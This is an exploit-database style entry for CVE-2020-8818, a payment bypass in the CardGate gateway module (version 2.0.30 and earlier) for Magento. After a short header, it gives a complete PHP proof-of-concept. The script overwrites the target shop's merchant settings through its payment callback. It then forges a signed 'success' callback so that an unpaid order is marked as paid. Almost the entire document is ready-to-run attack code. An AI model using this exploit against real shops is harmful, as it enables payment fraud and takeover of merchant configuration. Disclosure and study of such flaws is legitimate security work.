# Exploit Title: Magento WooCommerce CardGate Payment Gateway 2.0.30 - Payment Process Bypass
# Discovery Date: 2020-02-02
# Public Disclosure Date: 2020-02-22
# Exploit Author: GeekHack
# Vendor Homepage: https://www.cardgate.com (www.curopayments.com)
# Software Link: https://github.com/cardgate/magento2/releases/tag/v2.0.30
# Version: <= 2.0.30
# Tested on: Magento 2.3.4 + CardGate Payment Gateway Module 2.0.30
# CVE: CVE-2020-8818<?php define('TARGET', 'http://domain.tld'); define('ORDER', '000000001'); define('ORDER_AMOUNT', 1.00); define('ORDER_CURRENCY', 'USD'); define('ORDER_PAYMENT_TYPE', 'sofortbanking'); define('API_STAGING', 'https://secure-staging.curopayments.net/rest/v1/curo/'); define('API_PRODUCTION', 'https://secure.curopayments.net/rest/v1/curo/'); function pullConfig($sToken_, $bTestmode_ = FALSE) { if (!is_string($sToken_)) { throw new Exception('invalid token for settings pull: ' . $sToken_); } $sResource = "pullconfig/{$sToken_}/"; $sUrl = ($bTestmode_ ? API_STAGING : API_PRODUCTION) . $sResource; $rCh = curl_init(); curl_setopt($rCh, CURLOPT_URL, $sUrl); curl_setopt($rCh, CURLOPT_RETURNTRANSFER, 1); curl_setopt($rCh, CURLOPT_TIMEOUT, 60); curl_setopt($rCh, CURLOPT_HEADER, FALSE); curl_setopt($rCh, CURLOPT_HTTPHEADER, [ 'Content-Type: application/json', 'Accept: application/json' ]); if ($bTestmode_) { curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 0); } else { curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, TRUE); curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 2); } if (FALSE == ($sResults = curl_exec($rCh))) { $sError = curl_error($rCh); curl_close($rCh); throw new Exception('Client.Request.Curl.Error: ' . $sError); } else { curl_close($rCh); } if (NULL === ($aResults = json_decode($sResults, TRUE))) { throw new Exception('remote gave invalid JSON: ' . $sResults); } if (isset($aResults['error'])) { throw new Exception($aResults['error']['message']); } return $aResults; } function doRequest($sUrl, $aData_ = NULL, $sHttpMethod_ = 'POST') { if (!in_array($sHttpMethod_, ['GET', 'POST'])) { throw new Exception('invalid http method: ' . $sHttpMethod_); } $rCh = curl_init(); curl_setopt($rCh, CURLOPT_RETURNTRANSFER, 1); curl_setopt($rCh, CURLOPT_TIMEOUT, 60); curl_setopt($rCh, CURLOPT_HEADER, FALSE); curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 0); if ('POST' == $sHttpMethod_) { curl_setopt($rCh, CURLOPT_URL, $sUrl); curl_setopt($rCh, CURLOPT_POST, TRUE); curl_setopt($rCh, CURLOPT_POSTFIELDS, http_build_query($aData_)); } else { $sUrl = $sUrl . (FALSE === strchr($sUrl, '?') ? '?' : '&') . http_build_query($aData_) ; curl_setopt($rCh, CURLOPT_URL, $sUrl); } $response = curl_exec($rCh); if (FALSE == $response) { $sError = curl_error($rCh); curl_close($rCh); throw new Exception('Client.Request.Curl.Error: ' . $sError); } else { curl_close($rCh); } return $response; } if (!empty($_REQUEST['cgp_sitesetup']) && !empty($_REQUEST['token'])) { try { $aResult = pullConfig($_REQUEST['token'], $_REQUEST['testmode']); $aConfigData = $aResult['pullconfig']['content']; $response = doRequest(TARGET . '/cardgate/payment/callback', $_REQUEST, 'GET'); if ($response == $aConfigData['merchant_id'] . '.' . $aConfigData['site_id'] . '.200') { if (ORDER) { $payload = [ 'testmode' => $_REQUEST['testmode'], 'reference' => ORDER, 'transaction' => 'T' . str_pad(time(), 11, random_int(0, 9)), 'currency' => ORDER_CURRENCY, 'amount' => ORDER_AMOUNT * 100, 'status' => 'success', 'code' => 200, 'pt' => ORDER_PAYMENT_TYPE ]; $payload['hash'] = md5( (!empty($payload['testmode']) ? 'TEST' : '') . $payload['transaction'] . $payload['currency'] . $payload['amount'] . $payload['reference'] . $payload['code'] . $aConfigData['site_key'] ); $response = doRequest(TARGET . '/cardgate/payment/callback', $payload, 'GET'); if ($response == $payload['transaction'] . '.' . $payload['code']) { die($aConfigData['merchant'] . '.' . $aConfigData['site_id'] . '.200'); } else { throw new Exception("Unable to spoof order status, but merchant settings was updated successfully ($response)"); } } else { die($aConfigData['merchant'] . '.' . $aConfigData['site_id'] . '.200'); } } else { throw new Exception("It seems target is not vulnerable ($response)"); } } catch (\Exception $oException_) { die(htmlspecialchars($oException_->getMessage())); } }